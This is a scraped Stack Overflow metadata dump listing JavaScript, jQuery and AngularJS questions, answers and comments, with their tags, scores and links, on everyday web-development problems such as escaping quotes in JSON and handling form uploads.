has body: In my web application, I am trying to build a JSON string on the server and then pass this to the client so I can process it with some client side javascript. This works most of the time, however when the JSON string contains a single quote, the javascript breaks. The JSON is basically a list of maps, which is passed into my GSP page in the mappings variable. I then evaluate the string to convert it into a javascript object: var json = eval('(${mappings})'); When mappings is evaluated, the complete javascript expression looks something like this: var json = eval('([{"targetId":123,"targetName":"this isn't going to work"}])'); So clearly, in this case when mappings contains a single quote ("...this isn't going to work..."), the JSON string is terminated prematurely and the browser reports a javascript error. I would have expected this to be easy to work around, however on the java side, when I try to replace ' with \' using json.replaceAll("'", "\\'") I get this: "...this isn't going to work..." i.e. it doesn't change at all! If I try to double escape the backslash, i.e. json.replaceAll("'", "\\\\'") I get this: "...this isn\\'t going to work..." Which isn't correct either. How can I replace the single quote with a single backslash and quote so that when the string is rendered on the client it can be evaluated properly?
has answer: http://stackoverflow.com/a/25563248
has answer: http://stackoverflow.com/a/25563264
has title: Escaping a single quote in java and trying to render the escaped quote in a json blob
tagged with: regex
has comment: http://stackoverflow.com/comment/39920462
type: AnsweredQuestion
tagged with: java
possible better answer: http://stackoverflow.com/a/25563248
type: Question
tagged with: escaping
tagged with: javascript
tagged with: grails

http://stackoverflow.com/comment/40070063
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25644068
has text: From what line do you get the error, with what stacktrace? Please add some debugging details.
score: 0

http://stackoverflow.com/q/25606691
score: 1
has comment: http://stackoverflow.com/comment/40002860
has body: I am tring to upload a file using angular $http method to node backend I want to upload the form with additional form fields. This is my code var data = new FormData(); data.append('title', 'sometitle'); data.append('uploadedFile', $scope.uploadedFile); FileService.upload(url, data, function(data, status) { if(status===HTTP_OK) { $scope.uploadSuccess = true; $scope.showUploadProgressBar = false; } else { // error occured console.log(data); } }); FileService FileService.upload = function(url, data, callback) { $http({ method : 'POST', url : url, data : data, headers: {'Content-Type': undefined }, transformRequest: angular.identity }).success(function(data, status) { callback(data, callback); }).error(function(data, status) { callback(data, status); }); }; I am using node multiparty module for file upload. I am receiving the file correctly. But the field value for title is undefined. I don't know why title value is undefined Node.js backend file upload handler var form; if(options.uploads.tempDir) { form = new multiparty.Form({uploadDir : options.root + '/' + options.uploads.tempDir}); } else { form = new multiparty.Form(); } form.on('file', function(name, receivedFile) { var tmpPath = receivedFile.path, fileName = receivedFile.originalFilename, targetDirectory = uploadDirectory + '/' + req.params.id, targetPath = targetDirectory + '/' + fileName, file = { filePath : targetPath, tempPath : tmpPath, fileName : fileName, size : receivedFile.size }; fileUploadStatus.file = file; // move file fse.move(tmpPath, targetPath, function(err) { if(err) { console.log('Error moving file [ ' + targetPath + ' ] ' + JSON.stringify(err)); } }); }); form.on('error', function(err) { fileUploadStatus.err = err; req.fileUploadStatus = fileUploadStatus; next(); }); form.on('close', function() { req.fileUploadStatus = fileUploadStatus; next(); }); form.on('field', function(name, value) { console.log('field called'); console.log(name); console.log(value); req.body = req.body || {}; req.body[…
tagged with: multipartform-data
has comment: http://stackoverflow.com/comment/40001521
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: angularjs
tagged with: node.js
has title: angular js file upload using http post method
has comment: http://stackoverflow.com/comment/40001631
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40001421
has comment: http://stackoverflow.com/comment/40001603

http://stackoverflow.com/q/25642552
tagged with: javascript
has title: Angular.js: get different form {{display.value}} and $scope.value from same ng-model
has comment: http://stackoverflow.com/comment/40066032
tagged with: angularjs
downvote count: 0
has comment: http://stackoverflow.com/comment/40065951
type: AnsweredQuestion
score: 1
favorite count: 0
has body: Example form: &lt;select ng-model="coffee.location"&gt; &lt;option display-value='Some verbose message here' value="home"&gt;At home&lt;/option&gt; &lt;option display-value='Some verbose message here' value="work"&gt;At work&lt;/option&gt; &lt;option display-value='Some verbose message here' value="chain"&gt;Coffee Shop Chain (i.e. Starbucks &amp;amp; Costa)&lt;/option&gt; &lt;option display-value='Some verbose message here' value="independent"&gt;Independent Coffee Shop&lt;/option&gt; &lt;/select&gt; Example display element: &lt;div&gt;{{ coffee.location }}&lt;/div&gt; Question: How can I get my Angular controller to receive option[value], whilst having {{coffee.location}} display option[display-value] (or whatever attribute it need to be)? I hope my question is clear. Cheers in advance.
type: Question
has comment: http://stackoverflow.com/comment/40066507
has answer: http://stackoverflow.com/a/25656409
accepted answer: http://stackoverflow.com/a/25656409
has comment: http://stackoverflow.com/comment/40065809
tagged with: javascript-databinding
upvote count: 1
answer count: 1

http://stackoverflow.com/a/25646724
has comment: http://stackoverflow.com/comment/74290013
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40074773
answers question: http://stackoverflow.com/q/25646285
type: Answer
has body: you can call it by assiging a variable to your vm sth. like : appModel = new vm(); ko.applyBindings(appModel); and &lt;h3 data-bind="text: appModel.fullName()"&gt;&lt;/h3&gt; this works, but would always return undefinedundefined http://jsfiddle.net/mtfv6q6a/1/ because firstName is not a property of names() you rather need some simple function like: self.returnFullName = function(item) { return item.firstName + " " + item.lastName; }; and call it like &lt;h3 data-bind='text: appModel.returnFullName($data); '&gt;&lt;/h3&gt; http://jsfiddle.net/mtfv6q6a/2/
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25646285
has comment: http://stackoverflow.com/comment/40081486
score: 3
has comment: http://stackoverflow.com/comment/74312406

http://stackoverflow.com/q/25672866
has comment: http://stackoverflow.com/comment/40120801
has comment: http://stackoverflow.com/comment/40120973
has answer: http://stackoverflow.com/a/25672948
accepted answer: http://stackoverflow.com/a/25672948
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25672955
answer count: 2
upvote count: 1
tagged with: jquery
favorite count: 0
tagged with: ajax
has body: This script is triggered only once when the page loads. The page has loaded, click the link, the data came from. Click the link again, nothing. Overload the page, the link works, etc. What is wrong in the script, why it triggered only once? Update the div! Compared the data in the "mydiv" before and after clicking the link: before clicking the link Update the div! after link was cliked Update the div!
has comment: http://stackoverflow.com/comment/40120742
possible better answer: http://stackoverflow.com/a/25672955
has title: JavaScript runs only once after page loading
type: AnsweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/q/25560793
accepted answer: http://stackoverflow.com/a/25560860
has title: How do I create a simple javascript server?
upvote count: 1
has comment: http://stackoverflow.com/comment/39916306
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25560860
tagged with: javascript
has body: I want to create a server where if I pressed "w", a variable (lets say me1) would equal to 1. And if another user (from a different browser and IP) pressed the same key, another variable (lets say other2) would equal to 1. I don't need everything to be JavaScript (as long as it's easy to understand), I just need the end variables to be JavaScript.
has comment: http://stackoverflow.com/comment/39916024
answer count: 1
favorite count: 0
downvote count: 6
score: -5

http://stackoverflow.com/q/25622961
upvote count: 0
has title: Detecting typing outside of an input in jQuery
has answer: http://stackoverflow.com/a/25623137
type: Question
has comment: http://stackoverflow.com/comment/40030513
has body: Okay, so for our app we have a sidebar with a long list of all the different pages available to that current user. At the top of the sidebar is an input which, using Javascript, only shows options on the sidebar that contains the word(s) they searched for. Is there any way of achieving this without actually having an input, or using a hidden input? I want it so when the user types, as long as they aren't focused onto another input/textarea/whatever, it refines the sidebar. I'm not sure if you've seen the new MySpace but that's exactly what I'm going for.
has answer: http://stackoverflow.com/a/25623069
tagged with: javascript
has comment: http://stackoverflow.com/comment/40030949
answer count: 3
tagged with: jquery
linked to: http://stackoverflow.com/q/4455274
favorite count: 0
possible better answer: http://stackoverflow.com/a/25623137
has comment: http://stackoverflow.com/comment/40030865
downvote count: 3
has answer: http://stackoverflow.com/a/25623123
score: -3
accepted answer: http://stackoverflow.com/a/25623123
type: AnsweredQuestion

http://stackoverflow.com/comment/39945450
score: 0
has text: because `this` has not the property `age`, you need to set it before trying to get it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25576242

http://stackoverflow.com/q/25561162
tagged with: django
has body: I have jquery datetimepicker, and in them value field I set now date : today = new Date(); var aaa = today.format("yyyy-mm-dd' 'HH:MM"); } $('#datetimepicker').datetimepicker() .datetimepicker({value:aaa,step:10}); There is work fine, but for me need to update this value every minute, how can I do this? I change the value : ref() function ref(){ today2 = new Date(); var bbb = today2.format("yyyy-mm-dd' 'HH:MM"); aaa = bbb; setInterval("ref()",10000); } but I don't know how to set the value to datetimepicker. My trying (DOESN'T WORK!) $('#datetimepicker').datetimepicker() .datetimepicker({value:aaa,step:10}); and $('#datetimepicker').datetimepicker('setDate', aaa);
type: AnsweredQuestion
has title: update the value in datetime field
accepted answer: http://stackoverflow.com/a/25570542
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25570542
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/39918371
tagged with: datetime

http://stackoverflow.com/q/25632974
has body: I am confused when to use the period before the class names when referencing them. In this example why does the first use of the 'active-slide' class use a period beforehand while the other two do not? var main = function(){ $('.dropdown-toggle').click(function(){ $('.dropdown-menu').toggle(); }); $('.arrow-next').click(function(){ var currentSlide = $('.active-slide'); //period var nextSlide = currentSlide.next(); currentSlide.fadeOut(600); currentSlide.removeClass('active-slide'); //no period nextSlide.fadeIn(600); nextSlide.addClass('active-slide'); //no period }); } $(document).ready(main);
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25633005
accepted answer: http://stackoverflow.com/a/25633005
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25633003
favorite count: 0
has answer: http://stackoverflow.com/a/25633003
score: 0
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has comment: http://stackoverflow.com/comment/40049458
tagged with: css
has comment: http://stackoverflow.com/comment/40049454
has title: JavaScript & jQuery and the use of periods
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/39911955
type: AnswerComment
type: Comment
has text: i know, I'm trying to store it in the service "currentUser"
comment on: http://stackoverflow.com/a/25558149
score: 0

http://stackoverflow.com/comment/39991051
type: AnswerComment
comment on: http://stackoverflow.com/a/25600474
score: 0
type: Comment
has text: BTW, is there any way on Stack to format comments to questions so that everything isn't all on one line?

http://stackoverflow.com/comment/85430589
type: Comment
comment on: http://stackoverflow.com/a/25604254
has text: One small thing - you don't need the parenthesis around the ternary :)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/39908400
comment on: http://stackoverflow.com/q/25556705
score: 0
type: Comment
type: QuestionComment
has text: You can also use `+function foo(){alert('hello world!')}();`, `-function foo(){alert('hello world!')}();`, `!function foo(){alert('hello world!')}();`, ...

http://stackoverflow.com/a/25603546
has body: You can set working directory for Grunt in Gruntfile using grunt.file.setBase(path) or by passing command line argument --base for grunt executable. Read more about setBase.
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25602892
score: 1
answers question: http://stackoverflow.com/q/25602892

http://stackoverflow.com/comment/40170198
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25699743
has text: Do not use document.write: http://stackoverflow.com/questions/802854/why-is-document-write-considered-a-bad-practice
type: Comment

http://stackoverflow.com/q/25658353
duplicate of: http://stackoverflow.com/q/4247264
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has title: call a function at checkbox changeevent implicitly
has comment: http://stackoverflow.com/comment/40095166
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/4247264
has body: There are many solutions of change event through click, but not programatically. See the fiddle here http://jsfiddle.net/pratbhoir/ma7rk0ur/2/ JS Code $(document).ready(function () { //set initial state. $('#textbox1').val($(this).is(':checked')); //This Event is not called when toggled by button $('#myCheckBox').change(function () { //-------------if(this.checked if ($(this).is(":checked")) { var returnVal = confirm("Are you sure?"); $(this).attr("checked", returnVal); } $('#textbox1').val($(this).is(':checked')); }); }); I want to call the change event, when checkbox event is fired by toggle button. P.S. Please dont say to put a event on toggle button. Thank you and have a nice day.
has answer: http://stackoverflow.com/a/25658401
tagged with: dom
has comment: http://stackoverflow.com/comment/40095199
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40095382
has comment: http://stackoverflow.com/comment/40095170
score: 0

http://stackoverflow.com/q/25554344
has title: Calculate input of textbox and update another without page reload
has answer: http://stackoverflow.com/a/25554935
has body: my UI - http://puu.sh/bbx5G/33953b74ea.png I want to calculate marks of 5 papers -> input in 1st textbox and update 2nd textbox (with equivalent grade) without reload of page. That means, as I am typing, the grade textbox should be updated. I tried to run a for loop and iterate through the 5 IDs of marks and grades after hitting a submit button but it didn't seem to work. So firstly I need to make this work, and after that, I want something which will instantly updated the grades field while i type the marks. My HTML form having tables: &lt;td&gt;&lt;input type="text" id="pm1" onkeypress="validate(event)" onchange="" maxlength=3/&gt; = &lt;input type="text" id="pg1" onkeypress="return inputLimiter(event)" maxlength=1/&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" id="pm2" onkeypress="validate(event)" maxlength=3/&gt; = &lt;input type="text" id="pg2" onkeypress="return inputLimiter(event)" maxlength=1/&gt;&lt;/td&gt; ..... upto pm5 and pg5 My Javascript: function calculate_g(){ var i = 1; var m = 0.0; var p = 0.0; var g = ''; for(i = 1; i &lt;= 5; i++) { m = document.getElementById("pm"+i).value; p = (m / 80.00) * 100.00; if(p &gt;= 45.00 &amp;&amp; p &lt;= 49.99) { g = 'P'; } if(p &gt;= 50.00 &amp;&amp; p &lt;= 54.99) { g = 'E'; } if(p &gt;= 55.00 &amp;&amp; p &lt;= 59.99) { g = 'D'; } if(p &gt;= 60.00 &amp;&amp; p &lt;= 69.99) { g = 'C'; } if(p &gt;= 70.00 &amp;&amp; p &lt;= 74.99) { g = 'B'; } if(p &gt;= 75.00 &amp;&amp; p &lt;= 79.99) { g = 'A'; } if(p &gt;= 80.00) { g = 'O'; } document.getElementById("pg"+i).value = g; } }
has answer: http://stackoverflow.com/a/25556056
has comment: http://stackoverflow.com/comment/39904256
has comment: http://stackoverflow.com/comment/39904509
has comment: http://stackoverflow.com/comment/39904758
has comment: http://stackoverflow.com/comment/39903841
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39904411
has comment: http://stackoverflow.com/comment/39904656
has comment: http://stackoverflow.com/comment/39903798
type: Question
has answer: http://stackoverflow.com/a/25554940
accepted answer: http://stackoverflow.com/a/25554940
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25554935
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25675330
has body: Good evening everybody! I wrote a JavaScript that slides through a several amount of images with a fade effect. In Chrome and Opera it workes fine, but in the other browsers the pictures switch but the fade effect doesn´t work.. I don´t know why. Here is my css for my body background: body{ -webkit-transition: background 1.5s ease; -moz-transition: background 1.5s ease; -o-transition: background 1.5s ease; -ms-transition: background 1.5s ease; transition: background 1.5s ease; } You see I dont forget the prefixes! Here is my JavaScript: var rnd_last = -1; var picInterval; var picsArray = new Array('url(hd1.jpg)', 'url(hd2.jpg)', 'url(hd3.jpg)', 'url(hd4.jpg)'); $('document').ready(function() { startPicInterval(); $(window).resize(function() { clearInterval(picInterval); startPicInterval(); }); }); function setBodyBackground(actualPic) { $('body').css({'background-image': actualPic}); } function startPicInterval() { if ($(window).width() &gt;= 1200) { picInterval = setInterval(function() { setBodyBackground(picsArray[getRandomNumber(1, picsArray.length)]); }, 5000); } } function getRandomNumber(min, max) { var rnd; do { rnd = Math.floor((Math.random() * max) + min); } while (rnd === rnd_last); rnd_last = rnd; return(rnd); } I hope anybody can help me, grateful Nico!
type: Question
has comment: http://stackoverflow.com/comment/40126169
tagged with: javascript
tagged with: jquery
has title: CSS background transition doesn´t work on IE, Firefox and Safari, why?
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 0
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40126132
has comment: http://stackoverflow.com/comment/40178309
has comment: http://stackoverflow.com/comment/40126234
has comment: http://stackoverflow.com/comment/40126859

http://stackoverflow.com/q/25605367
possible better answer: http://stackoverflow.com/a/25605398
linked to: http://stackoverflow.com/q/25604825
has answer: http://stackoverflow.com/a/25605398
favorite count: 0
has comment: http://stackoverflow.com/comment/39998523
has comment: http://stackoverflow.com/comment/39998609
has title: How to exclude specific class names in querySelectorAll()?
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/9287621
has comment: http://stackoverflow.com/comment/39998515
has answer: http://stackoverflow.com/a/25605391
score: 80
type: Question
upvote count: 80
has answer: http://stackoverflow.com/a/64968892
downvote count: 0
tagged with: javascript
has body: How can I exclude tag elements that have a specific class name? &lt;span class="test" /&gt; &lt;span class="test asd" /&gt; document.querySelectorAll('span.test'); //how to exclude all spans with "asd" as class name?
answer count: 3
accepted answer: http://stackoverflow.com/a/25605391

http://stackoverflow.com/comment/40086148
type: Comment
comment on: http://stackoverflow.com/a/25652625
score: 0
type: AnswerComment
has text: Thanks for your help. The issue is, when I place an `$.ajax` request after the `if else` block, the `ajax` block will be executed before `manuallyGeoCode` has a chance to callback the geodata and store those values in `localStorage`.

http://stackoverflow.com/a/25553773
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/39903420
has body: you could try something like this: $(document).ready(function() { $('#4d_div').hide(); $('#yourbuttonIDhere').on('click', function() { $('#4d_div').show(); } });
answers question: http://stackoverflow.com/q/25553643
has comment: http://stackoverflow.com/comment/39902606
has comment: http://stackoverflow.com/comment/39903033
has comment: http://stackoverflow.com/comment/39903402
has comment: http://stackoverflow.com/comment/39903725
has comment: http://stackoverflow.com/comment/39902764

http://stackoverflow.com/q/25556028
downvote count: 1
has comment: http://stackoverflow.com/comment/40040758
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39906920
tagged with: jquery-plugins
has comment: http://stackoverflow.com/comment/40091883
answer count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40040756
favorite count: 0
has title: Plugin not working with current jQuery, TypeError in console
has comment: http://stackoverflow.com/comment/39909862
type: Question
has body: Using http://jsfiddle.net/heygrady/j5tHC/light/ as my example, trying to update to current jQuery, in my case 1.11.0 Works with jQuery 1.6.2, when I update to current version it throws an error in the console, "TypeError: f is undefined" I can't figure out why it makes a difference or track the variable, seems like it has the same values in both. The following code runs the animation: tween($.curve.bezier, { x: 0, y: $canvas[0].height, points: [ [0, $canvas[0].height / 2], [$canvas[0].width * 0.5, 0], [$canvas[0].width * 0.9, $canvas[0].height], [$canvas[0].width, $canvas[0].height/ 2] ] }); I believe this is the function that is breaking inside the plugin: (function (f, g, j, b) { var h = /progid:DXImageTransform\.Microsoft\.Matrix\(.*?\)/, c = /^([\+\-]=)?([\d+.\-]+)(.*)$/, q = /%/; var d = j.createElement('modernizr'), e = d.style; function n(s) { return parseFloat(s) } function l() { var s = { transformProperty: '', MozTransform: '-moz-', WebkitTransform: '-webkit-', OTransform: '-o-', msTransform: '-ms-' }; for (var t in s) { if (typeof e[t] != 'undefined') { return s[t] } } return null } function r() { if (typeof (g.Modernizr) !== 'undefined') { return Modernizr.csstransforms } var t = [ 'transformProperty', 'WebkitTransform', 'MozTransform', 'OTransform', 'msTransform' ]; for (var s in t) { if (e[t[s]] !== b) { return true } } } var a = l(), i = a !== null ? a + 'transform' : false, k = a !== null ? a + 'transform-origin' : false; f.support.csstransforms = r(); if (a == '-ms-') { i = 'msTransform'; k = 'msTransformOrigin' } f.extend({ transform: function (s) { s.transform = this; this.$elem = f(s); this.applyingMatrix = false; this.matrix = null; this.height = null; this.width = null; this.outerHeight = null; this.outerWidth = null; this.boxSizingValue = null; this.boxSizingProperty = null; this.attr = null; this.transformProperty = i; this.transformOriginProperty = k } }); f.extend(f.transform, { funcs: [ 'matrix', 'origin', 'reflect', 'reflectX', 'reflectXY…
has comment: http://stackoverflow.com/comment/40041038
score: 0
upvote count: 1

http://stackoverflow.com/comment/40116154
comment on: http://stackoverflow.com/q/25670064
has text: ID must be unique in the document, so you only need `$("#title").text()`... do you have duplicate ids that might be causing an issue? The code you have included [seems to be working fine](http://jsfiddle.net/qt974jes/)
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/39966029
comment on: http://stackoverflow.com/a/25586989
type: AnswerComment
type: Comment
score: 0
has text: By the way, do you have a link to another stackoverflow post that shows how to build a generic inheritance function

http://stackoverflow.com/comment/39995892
score: 0
type: AnswerComment
has text: I am using the pattern and matcher for this. So is that correct? I get errors. ` Pattern p = Pattern.compile(href\s*=\s*"([^"]+Doc)"); Matcher m = p.matcher(script.html());
type: Comment
comment on: http://stackoverflow.com/a/25602869

http://stackoverflow.com/q/25638156
score: 0
tagged with: soundcloud
has title: How to handle scrollable pages like soundcloud.com using Matlab/R/Python?
tagged with: python
tagged with: matlab
answer count: 0
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40058377
tagged with: javascript
has body: I would like to retrieve a source code of the first N pages from soundcloud.com/explore, but the problem is that I have to somehow preload them first. For now what I do is using some browser and mouse scroll button I preload desired number of pages, then save it as *.html and then parse and analyze using R/Matlab, but it's quite labor-intensive and so I wonder whether there is a way to handle such a situation using some scripting language. Thanks!
has comment: http://stackoverflow.com/comment/40064836
tagged with: http://stackoverflow.com/tag/r

http://stackoverflow.com/comment/50908625
score: 0
comment on: http://stackoverflow.com/q/25671971
type: Comment
type: QuestionComment
has text: Im in the middle of the same problem. Did you manage to sort this problem out ? Hopefully youre still around :L

http://stackoverflow.com/comment/39996301
score: 0
type: Comment
has text: Thanks for reply @dreamlab. Yeah, my highlighted code is not for Ctrl+F search. It is just to highlight text on same browser. Though, I tried your example but dint work. Its saying..." SCRIPT438: Object doesn't support property or method 'highlight'". I tried within and out of my localhost domain too.
comment on: http://stackoverflow.com/a/25603702
type: AnswerComment

http://stackoverflow.com/comment/40056822
has text: @SohilDesai can you show me some example, thanks
comment on: http://stackoverflow.com/q/25637291
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/40102699
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25660111
has text: I have some save code to be exceuted first and then it should close the window thats the reason I ahve not used OnClientClickProperty
score: 0

http://stackoverflow.com/a/25708944
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40220545
has comment: http://stackoverflow.com/comment/40220760
type: Answer
upvote count: 4
has body: the way that storage actually works is simple. in a closure where the method is defined, you have a private {object} used as a dictionary per element. Any methods from that closure can access the storage object but it's not puncture-able from the outside directly. in working code: (function(){ // private shared object var Storage = {}; /** * @param {string} key * @param {*} value * @return {HTMLElement} */ Element.implement('write', function(key, value){ // Slick can get a unique id for every element. this is key in storage var uid = Slick.uidOf(this), s = Storage[uid] || (Storage[uid] = {}); return (s[key] = value), this; }); /** * @param {string} key * @param {*=} initial value, optional * @return {*} */ Element.implement('read', function(key, initial){ var uid = Slick.uidOf(this), s = Storage[uid] || (Storage[uid] = {}), undef = 'undefined'; typeof initial !== undef &amp;&amp; typeof s[key] === undef &amp;&amp; (s[key] = initial); return s[key]; }); }()); var foo = document.id('foo'); foo.write('hello', 'there'); // save console.log(foo.read('hello')); // read console.log(foo.read('foo', 'bar')); // via initial value api, bar. This is pretty much the full read/write api - only thing that is missing is the .eliminate functionality -- keep in mind it's slightly more defensive than the actual code, which was written with perf in mind so it does not typecheck so much. http://jsfiddle.net/aj0pccew/2/ more here: http://mootools.net/docs/core/Element/Element#Element:retrieve https://github.com/mootools/mootools-core/blob/master/Source/Element/Element.js#L1003-L1019 as to why it's that way rather than on the element as an attribute, it's faster: only needs 1 attribute on the element itself (the uid), does not need DOM access to read/write stuff, avoids leaks via elements and circular references. It can also create leaks through removal of elements that previously had data in storage w/o the destroy API.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25702849
answers question: http://stackoverflow.com/q/25702849
score: 4
has comment: http://stackoverflow.com/comment/40234845

http://stackoverflow.com/comment/40186883
type: Comment
type: QuestionComment
has text: Nope I'll go through it. thank you
comment on: http://stackoverflow.com/q/25708891
score: 0

http://stackoverflow.com/q/25600961
tagged with: jquery
tagged with: google-maps-api-3
score: 0
has answer: http://stackoverflow.com/a/25601145
has comment: http://stackoverflow.com/comment/39990569
has body: The infowindow is not showing properly on my map when clicking on a marker. The website is here. You'll also notice the map control isn't properly displayed either. var map; var locations = &lt;?php print json_encode(di_get_locations()); ?&gt; ; var markers = [] jQuery(function ($) { var options = { center: new google.maps.LatLng(51.840639771473, 5.8587418730469), zoom: 8, mapTypeId: google.maps.MapTypeId.ROADMAP }; map = new google.maps.Map(document.getElementById("map_canvas"), options); for (var i = 0; i &lt; locations.length; i++) { makeMarker(locations[i]); } centerMap(); }); function makeMarker(location) { var markerOptions = { map: map, position: new google.maps.LatLng(location.lat, location.lng) }; var marker = new google.maps.Marker(markerOptions); markers.push(marker); var content = ''; var infowindow = new google.maps.InfoWindow({ content: "test", size: new google.maps.Size(50, 50), disableAutoPan: true }); google.maps.event.addListener(marker, 'click', function (e) { infowindow.open(map, marker); }); } function centerMap() { map.setCenter(markers[markers.length - 1].getPosition()); }
possible better answer: http://stackoverflow.com/a/25604509
tagged with: php
has answer: http://stackoverflow.com/a/25604509
accepted answer: http://stackoverflow.com/a/25601145
type: AnsweredQuestion
type: Question
answer count: 2
has title: Google Map Infowindow not showing properly but when i open firbug so it's working well
tagged with: javascript

http://stackoverflow.com/comment/40085208
type: Comment
comment on: http://stackoverflow.com/q/25652961
score: 4
has text: Give it a go and come back to us when (and if) you have issue with what you are trying :)
type: QuestionComment

http://stackoverflow.com/a/32559696
has body: Here is simple example of file filed validation http://formvalidation.io/validators/file/
score: 0
answers question: http://stackoverflow.com/q/25661516
type: Answer

http://stackoverflow.com/comment/40139840
has text: thanks @JoeSmart. I actually did get a link that ends in ".pdf" so i then used the wget for python and downloaded it.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25667259

http://stackoverflow.com/a/25631542
score: 0
type: Answer
has body: Your form could as well do without a type submit.. Type can be a mere button.. On click, you could now do all your javascript stuff with onclick="javascript:somefunction()", somefunction = function (){ Process javascript here document.formname.submit(); location.href = "new.html" }
answers question: http://stackoverflow.com/q/25630683

http://stackoverflow.com/q/25565716
answer count: 6
tagged with: jquery
possible better answer: http://stackoverflow.com/a/31127387
score: 15
has answer: http://stackoverflow.com/a/56520606
favorite count: 0
has answer: http://stackoverflow.com/a/48668044
has title: load iframe in bootstrap modal
tagged with: twitter-bootstrap
tagged with: iframe
has answer: http://stackoverflow.com/a/31127387
upvote count: 15
has body: I want to load an iframe into a bootstrap modal and show a loader before the iframe is loaded. I am using a simple jquery click function, but it is not working. I do not understand why it is not working. fiddle full page fiddle $('.btn').click(function() { $('.modal').on('show',function() { $(this).find('iframe').attr('src','http://www.google.com') }) $('.modal').modal({show:true}) $('iframe').load(function() { $('.loading').hide(); }); })
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25565862
accepted answer: http://stackoverflow.com/a/25565862
type: Question
has answer: http://stackoverflow.com/a/25565883
has answer: http://stackoverflow.com/a/25565859
tagged with: javascript

http://stackoverflow.com/comment/39945057
type: Comment
has text: You can do it as `append="'&#10;'"` (note the single quotes)
comment on: http://stackoverflow.com/a/25573524
score: 0
type: AnswerComment

http://stackoverflow.com/q/25593682
tagged with: object
linked to: http://stackoverflow.com/q/20279484
tagged with: javascript
has answer: http://stackoverflow.com/a/25593737
has title: More elegant way to call method from ajax callback function
duplicate of: http://stackoverflow.com/q/20279484
answer count: 1
has body: I have a problem with javascript namespaces. I want to call secondMethod from ajax callback function but I don't know how to get reference to it. I have done it like that yet. But variable thisReference seems to me awkward. And whole construction is difficult to read. So I'm writing there for help and answer how to rewrite it better. var testObject = new TestObject(); testObject.firstMethod("hello world!"); function TestObject() { var thisReference = this; this.firstMethod = function(firstParam) { ajaxFunc(firstParam, function(ajaxResult) { thisReference.secondMethod(ajaxResult); }); }; this.secondMethod = function(secondParam) { alert("secondMethod " + secondParam); }; } function ajaxFunc(hello, callBack) { callBack(hello); } Thanks a lot. Ondra
tagged with: ajax
accepted answer: http://stackoverflow.com/a/25593737
type: AnsweredQuestion
score: 0
type: Question

http://stackoverflow.com/a/25660386
type: Answer
has body: I am testing the web application in my locally. However it is to be deployed over a particular node after build and release. The problem here was that the pdf file is retrieval only from the application context inside a jsp. However when I use request.getServletContext.getRealPath("/resources/myattmts/") it tries to access the actual war file in the tmp/deployment server (the actual physical location where the application is running and the file is present). And is not able to read it from there. Instead I changed the value of the hidden variable "myResourceFile" in the jsp to the application context path as jsp change: &lt;input type="hidden" id="myResourceFile" value="&lt;%=request.getContextPath("/resources/myattmts/")%&gt;"/&gt; So the file path now reads as "`http://localhost:8080/app-name/resources/myattmts/fileName.pdf" instead of the actual physical path (in the previous case which was not accessible to the jsp) as "E:/MyServer/deployments/tmp/app.war/resources/myattmts/fileName.pdf"
answers question: http://stackoverflow.com/q/25601315
accepted answer of: http://stackoverflow.com/q/25601315
type: AcceptedAnswer
score: 0

http://stackoverflow.com/q/25560829
type: Question
has body: I am new to web developing and I need a small help. I want to divide web page into two parts as shown below: How can I do this using java script or any necessary technique? Can Somebody provide me a code or link to refer?
tagged with: graphics
has title: Divide web page into two parts with clickable images in PHP
tagged with: javascript
has comment: http://stackoverflow.com/comment/39916138
has answer: http://stackoverflow.com/a/25560906
downvote count: 4
has comment: http://stackoverflow.com/comment/39916119
answer count: 2
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39916172
tagged with: http://stackoverflow.com/tag/html
tagged with: php
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25560897
possible better answer: http://stackoverflow.com/a/25560906
accepted answer: http://stackoverflow.com/a/25560897
score: -4

http://stackoverflow.com/comment/39930778
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25564720
